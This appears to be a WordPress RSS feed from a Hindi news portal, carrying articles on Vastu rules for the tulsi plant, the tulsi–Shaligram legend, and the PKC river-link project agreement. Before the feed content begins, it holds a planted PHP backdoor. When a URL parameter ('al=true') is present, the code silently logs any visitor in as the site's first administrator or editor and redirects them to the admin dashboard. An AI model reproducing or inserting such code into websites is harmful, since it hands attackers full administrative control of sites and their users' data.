// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); tulsi – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 19 Jan 2026 09:40:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 तुलसी का पौधा गलत जगह लगाया तो बढ़ सकती हैं आर्थिक परेशानियां, जानें सही वास्तु नियम https://pratyushaashakinayikiran.com/?p=193886 Mon, 19 Jan 2026 09:40:00 +0000 https://pratyushaashakinayikiran.com/?p=193886 वास्तु शास्त्र के अनुसार, अगर आपने तुलसी का पौधा गलत दिशा में लगाया है, तो पूजा का पूर्ण फल प्राप्त नहीं होगा। साथ ही जीवन में कई तरह की समस्याओं का सामना करना पड़ सकता है। ऐसे में आइए इस आर्टिकल में विस्तार से जानते हैं कि किस दिशा में तुलसी का पौधा नहीं लगाना चाहिए।

भूलकर भी न लगाएं इस दिशा में तुलसी

वास्तु शास्त्र के अनुसार, घर की दक्षिण दिशा पितरों की होती है। इसलिए तुलसी के पौधे को दक्षिण दिशा में भूलकर भी नहीं लगाना चाहिए। ऐसा माना जाता है कि गलत दिशा में तुलसी को लगाने से घर में नकारात्मक ऊर्जा का वास होता है और पूजा सफल नहीं होती है। साथ ही आर्थिक परेशानियां हो सकती हैं। इसलिए तुलसी को लगाने से पहले सही दिशा जरूर जान लें।

कौन-सी दिशा में लगाएं तुलसी

वास्तु शास्त्र की मानें तो तुलसी को उत्तर दिशा में लगाना शुभ माना जाता है। इस दिशा को धन के देवता कुबेर की दिशा मानी जाती है। इस दिशा में तुलसी लगाने से धन, सुख-समृद्धि में वृद्धि होती है। इसके अलावा उत्तर-पूर्व दिशा में भी तुलसी का पौधा लगा सकते हैं। इस दिशा में देवताओं का स्थान माना जाता है। इससे घर में सकारात्मक ऊर्जा का वास होता है। परिवार में सुख-शांति बनी रहती है।

इस दिन लगाएं तुलसी

अगर आप घर में तुलसी लगाना चाहते हैं, तो इसके लिए गुरुवार और शुक्रवार का दिन शुभ माना जाता है, क्योंकि गुरुवार भगवान विष्णु शुक्रवार धन की देवी मां लक्ष्मी को समर्पित है। इस दिन तुलसी लगाने से शुभ परिणाम देखने को मिलते हैं। कार्तिक का महीना भी तुलसी लगाने के लिए उत्तम होता है। बता दें कि तुलसी को सोमवार, रविवार और एकादशी के दिन लगाने से बचना चाहिए।

इन बातों का रखें ध्यान

    तुलसी के पौधे के आसपास सफाई का विशेष ध्यान रखें, क्योंकि मां लक्ष्मी का वास सफाई वाली जगह पर ही होता है।
    तुलसी के पास रोजाना सुबह और शाम देसी घी का दीपक जलाएं।
    पौधे के पास जूते-चप्पल न रखें। साथ ही कांटेदार पौधा नहीं लगाना चाहिए।

 

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शाम को तुलसी के पास दीया जलाना क्यों माना जाता है शुभ? जानें फायदे https://pratyushaashakinayikiran.com/?p=189988 Sat, 08 Nov 2025 03:46:00 +0000 https://pratyushaashakinayikiran.com/?p=189988 भारतीय संस्कृति में तुलसी का पौधा शुद्धता, आस्था और सकारात्मक ऊर्जा का प्रतीक है. शाम के समय तुलसी के पास दीया जलाना, घर में सकारात्मक ऊर्जा को बढ़ाने का एक सरल और प्रभावी उपाय है. तुलसी के पौधे में देवी लक्ष्मी का निवास होता है और तुलसी भगवान विष्णु को अत्यंत प्रिय है . इसलिए इसके फायदे और भी बढ़ जाते हैं. जानते हैं शाम के समय तुलसी के पौधे के पास दिया जलाने से क्या-क्या फायदे होते हैं.

तुलसी के पास दीया जलाने का महत्व

तुलसी का पौधा घर में सकारात्मक ऊर्जा लाता है. जब आप इसके पास रोज दीया जलाते हैं, तो यह घर के माहौल को शुद्ध और पवित्र बनाता है. धीरे-धीरे घर की नकारात्मक ऊर्जा दूर हो जाती है. कहा जाता है कि तुलसी के पास दीया जलाने से घर में शांति बढ़ती है. यह एक सरल उपाय है जो पूरे घर में खुशियां और सकारात्मकता फैलाता है. 

देवी लक्ष्मी और भगवान विष्णु का आशीर्वाद

शास्त्रों में कहा गया है कि देवी लक्ष्मी तुलसी में निवास करती हैं और भगवान विष्णु को तुलसी बहुत प्रिय है. जब हम तुलसी की पूजा करते हैं और उसके पास दीया जलाते हैं, तो लक्ष्मी जी और विष्णु जी दोनों का आशीर्वाद मिलता है. उनकी कृपा से जीवन की परेशानियां दूर होती हैं और हमारे कामों में सफलता और स्थिरता आती है. इससे घर में धन, शांति और सुख-समृद्धि बनी रहती है. 

मन की शांति और तनाव से राहत

हर शाम तुलसी के पास दीया जलाने से मन को शांति मिलती है. अगर आप ज्यादा सोचते हैं या परेशान रहते हैं, तो यह उपाय आपको आराम और सुकून देता है. 

वास्तु के अनुसार लाभ

वास्तु शास्त्र में तुलसी के पौधे को शुभ और पवित्र माना गया है. हर दिन इसके पास दीया जलाने से घर में धन, सौभाग्य और तरक्की आती है. यह घर की ऊर्जा को मजबूत बनाता है.  जिससे अड़चनें और आर्थिक तंगी दूर होती है. 

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तुलसी के श्राप से शालिग्राम तक: जानें भगवान विष्णु के इस अद्भुत रूप की कथा https://pratyushaashakinayikiran.com/?p=188359 Fri, 31 Oct 2025 04:45:00 +0000 https://pratyushaashakinayikiran.com/?p=188359 हिंदू धर्मग्रंथों में तुलसी और भगवान विष्णु की कथा को अत्यंत पवित्र और भावनात्मक माना गया है. यह कथा भक्ति, निष्ठा और प्रेम की पराकाष्ठा को दर्शाती है. तुलसी विवाह का पर्व इसी दिव्य मिलन का प्रतीक है, जब माता तुलसी (लक्ष्मी स्वरूपा) और भगवान विष्णु (शालिग्राम रूप) का पुनर्मिलन होता है. यह कथा यह भी बताती है कि ईश्वर अपने भक्त के प्रेम से इतने बंधे होते हैं कि श्राप को भी आशीर्वाद बना देते हैं. तुलसी और विष्णु का यह संबंध सिखाता है कि सच्ची भक्ति और पवित्र प्रेम सभी विपरीत परिस्थितियों को मंगलमय बना देते हैं.

पुराणों के अनुसार, तुलसी का पूर्व जन्म वृंदा नामक एक पवित्र स्त्री के रूप में हुआ था. वह दैत्यराज जलंधर की पत्नी थीं, जो भगवान विष्णु के वरदान के कारण एक अपराजित दैत्य था. जलंधर की भक्ति और पत्नी की पतिव्रता शक्ति के कारण देवता उसे पराजित नहीं कर पा रहे थे. जब देवताओं ने भगवान विष्णु से सहायता मांगी, तो भगवान विष्णु ने जलंधर का रूप धारण कर वृंदा के सामने प्रकट हुए. वृंदा को जब यह ज्ञात हुआ कि उनके साथ छल हुआ है, तो उन्होंने क्रोध में भगवान विष्णु को पत्थर बनने का श्राप दिया.

इस श्राप के फलस्वरूप भगवान विष्णु शालिग्राम पत्थर के रूप में सामने आए. वृंदा के श्राप से भगवान विष्णु पत्थर रूप में तो परिवर्तित हुए, किंतु उन्होंने वृंदा की भक्ति और पतिव्रता को प्रणाम करते हुए उन्हें वर दिया कि तुम धरती पर तुलसी के रूप में जन्म लोगी और मेरा शालिग्राम रूप सदा तुम्हारे साथ पूजा जाएगा. वृंदा के शरीर से ही गंडकी नदी का उद्भव हुआ जो कि नेपाल में स्थित है. जहां से आज भी शालिग्राम पत्थर प्राप्त होता हैं. इसलिए आज भी तुलसी-दल से शालिग्राम भगवान की पूजा की जाती है.

किसका अवतार माना जाता है तुलसी का पौधा?

धर्मग्रंथों में तुलसी को माता लक्ष्मी का अवतार माना गया है. लक्ष्मी जी जिस प्रकार सौभाग्य, समृद्धि और शुद्धता की देवी हैं, उसी प्रकार तुलसी भी सात्त्विकता और पवित्रता का प्रतीक हैं. भगवान विष्णु के प्रति तुलसी की अखंड भक्ति के कारण उन्हें लक्ष्मी स्वरूपा कहा गया. कहा जाता है कि जिस घर में तुलसी का पौधा होता है, वहां स्वयं लक्ष्मी जी का वास होता है. तुलसी-दल के बिना विष्णु या श्रीकृष्ण की पूजा अधूरी मानी जाती है क्योंकि यह ईश्वर के प्रति निष्ठा और प्रेम का प्रतीक है. तुलसी का पूजन न केवल धार्मिक दृष्टि से शुभ है, बल्कि यह घर में शांति, सौभाग्य और दिव्य ऊर्जा के प्रवाह को भी स्थिर करता है.

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तुलसी के पास भूलकर भी न रखें ये चीज, वरना चली जाएगी घर की लक्ष्मी! https://pratyushaashakinayikiran.com/?p=188120 Thu, 30 Oct 2025 05:40:00 +0000 https://pratyushaashakinayikiran.com/?p=188120 धर्म में तुलसी के पौधे को अत्यंत पवित्र, पूजनीय और देवी लक्ष्मी का रूप माना जाता है। इसे घर में लगाने से सकारात्मकता, सुख-समृद्धि और शांति आती है। हालांकि, वास्तु शास्त्र और धार्मिक मान्यताओं के अनुसार, तुलसी के पौधे के पास कुछ ऐसी चीजें रखना वर्जित माना गया है, जिन्हें रखने से घर की समृद्धि पर नकारात्मक प्रभाव पड़ सकता है और दरिद्रता आ सकती है।

जूते-चप्पल
जूते-चप्पल अशुद्ध माने जाते हैं और इनका सीधा संबंध गंदगी से होता है। तुलसी का पौधा पूजनीय है। इसके पास जूते-चप्पल या उनसे संबंधित कोई भी वस्तु रखने से लक्ष्मी का अपमान होता है, जिससे घर में आर्थिक तंगी आ सकती है।

 कांटेदार पौधे या सूखे पौधे
तुलसी के पास कभी भी कैक्टस या अन्य कांटेदार पौधे नहीं रखने चाहिए। कांटेदार पौधे नकारात्मक ऊर्जा लाते हैं और घर में कलह का कारण बन सकते हैं। इसी तरह, तुलसी के गमले के आस-पास सूखे या मुरझाए हुए पौधे भी नहीं रखने चाहिए। सूखी तुलसी या सूखे पौधे दुर्भाग्य और धन हानि का संकेत देते हैं।

टूटी हुई या खंडित वस्तुएं
पूजा-पाठ से संबंधित टूटी हुई मूर्तियां, दीपक, या अन्य खंडित सामग्री को तुलसी के पास नहीं रखना चाहिए। खंडित वस्तुएं वास्तु दोष पैदा करती हैं और घर की बरकत में रुकावट डालती हैं।

लोहे का सामान
तुलसी के गमले के आस-पास लोहे से बनी अनावश्यक वस्तुएं नहीं रखनी चाहिए। लोहा नकारात्मक ऊर्जा को आकर्षित करता है, जो तुलसी की सकारात्मकता को कम कर सकता है और समृद्धि में कमी ला सकता है।

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पीकेसी लिंक प्रोजेक्ट पर मध्यप्रदेश, राजस्थान और केंद्र सरकार के बीच अनुबंध सहमति पत्र (मेमोरेंडम ऑफ एग्रीमेंट) हस्ताक्षरित https://pratyushaashakinayikiran.com/?p=111101 Wed, 18 Dec 2024 11:35:00 +0000 https://pratyushaashakinayikiran.com/?p=111101 पीकेसी लिंक प्रोजेक्ट पर मध्यप्रदेश, राजस्थान और केंद्र सरकार के बीच अनुबंध सहमति पत्र (मेमोरेंडम ऑफ एग्रीमेंट) हस्ताक्षरित

मुख्यमंत्री डॉ मोहन यादव और राजस्थान के मुख्यमंत्री भजनलाल शर्मा का आभार व्यक्त किया

जल संसाधन मंत्री सिलावट ने प्रधानमंत्री मोदी और मुख्यमंत्री डॉ. यादव का किया आभार व्यक्त

भोपाल
प्रधानमंत्री नरेन्द्र मोदी की उपस्थिति में मंगलवार जयपुर में पार्वती-कालीसिंध-चंबल (पीकेसी) लिंक परियोजना पर मध्यप्रदेश, राजस्थान और केंद्र सरकार के बीच अनुबंध सहमति पत्र (मेमोरेंडम ऑफ एग्रीमेंट) हस्ताक्षरित होने पर प्रदेश के जल संसाधन मंत्री तुलसीराम सिलावट ने प्रधानमंत्री मोदी, केंद्रीय जल शक्ति मंत्री सी.आर. पाटिल, मुख्यमंत्री डॉ मोहन यादव और राजस्थान के मुख्यमंत्री भजनलाल शर्मा का आभार व्यक्त किया है।

मंत्री सिलावट ने कहा है कि यह परियोजना दोनों राज्यों में विकास के नए द्वार खोलेगी। इस परियोजना से न सिर्फ सिंचाई और पेयजल के लिए पर्याप्त पानी उपलब्ध होगा अपितु उद्योगों और पर्यटन का विकास होने से रोजगार के नए अवसर सृजित होंगे। उन्होंने कहा कि मुख्यमंत्री डॉ. यादव के नेतृत्व में इस परियोजना का कार्य प्रदेश में नियत समय अवधि में गुणवत्ता के साथ पूर्ण किया जाएगा।

जल संसाधन मंत्री सिलावट ने कहा परियोजना की सौगात मिलना प्रदेश के लिए अत्यंत सौभाग्य का विषय है। इस परियोजना से मालवा और चंबल क्षेत्र की तस्वीर एवं तकदीर बदलेगी। सामाजिक और आर्थिक क्षेत्र में तरक्की होगी। इस परियोजना से प्रदेश के मालवा और चंबल क्षेत्र में 6 लाख 13 हजार 520 हेक्टेयर में सिंचाई होगी और 40 लाख की आबादी को पेयजल उपलब्ध होगा। इसके अतिरिक्त लगभग 60 वर्ष पुरानी चंबल दाईं मुख्य नहर एवं वितरण तंत्र प्रणाली के आधुनिकीकरण कार्य से भिंड, मुरैना एवं श्योपुर जिलों के 1205 ग्रामों में 03 लाख 62 हजार हेक्टेयर क्षेत्र में कृषकों की मांग अनुसार पानी उपलब्ध कराया जाएगा।

परियोजना से प्रदेश के 13 जिलों गुना, मुरैना, शिवपुरी, भिंड, श्योपुर, उज्जैन, सीहोर, मंदसौर, इंदौर, धार, आगर मालवा, शाजापुर और राजगढ़ जिलों के 3217 ग्रामों को लाभ मिलेगा। पार्वती-कालीसिंध-चंबल लिंक परियोजना मध्य प्रदेश एवं राजस्थान दोनो़ं राज्यों के किसानों और नागरिकों के लिए वरदान साबित होगी। इससे किसानों को भरपूर सिंचाई के लिए पानी मिलेगा और विकास के नये द्वार खुलेंगे। परियोजना से दोनों राज्यों में समृद्धि आयेगी। परियोजना से मिलने वाले जल से किसान अपनी उपज को दोगुना कर सकेंगे, जिससे उनके परिवार के साथ प्रदेश भी समृद्ध होगा।

पीकेसी लिंक परियोजना की अनुमानित लागत 72 हजार करोड़ है, जिसमें मध्यप्रदेश 35 हजार करोड़ और राजस्थान 37 हजार करोड़ रूपये व्यय करेगा। केन्द्र की इस योजना में कुल लागत का 90 प्रतिशत केन्द्रांश और 10 प्रतिशत राज्यांश रहेगा। परियोजना की कुल जल भराव क्षमता 1908.83 घन मीटर होगी। साथ ही 172 मिलियन घन मीटर जल, पेयजल और उद्योगों के लिये आरक्षित रहेगा। परियोजना अंतर्गत 21 बांध/बैराज निर्मित किये जाएंगे।

 

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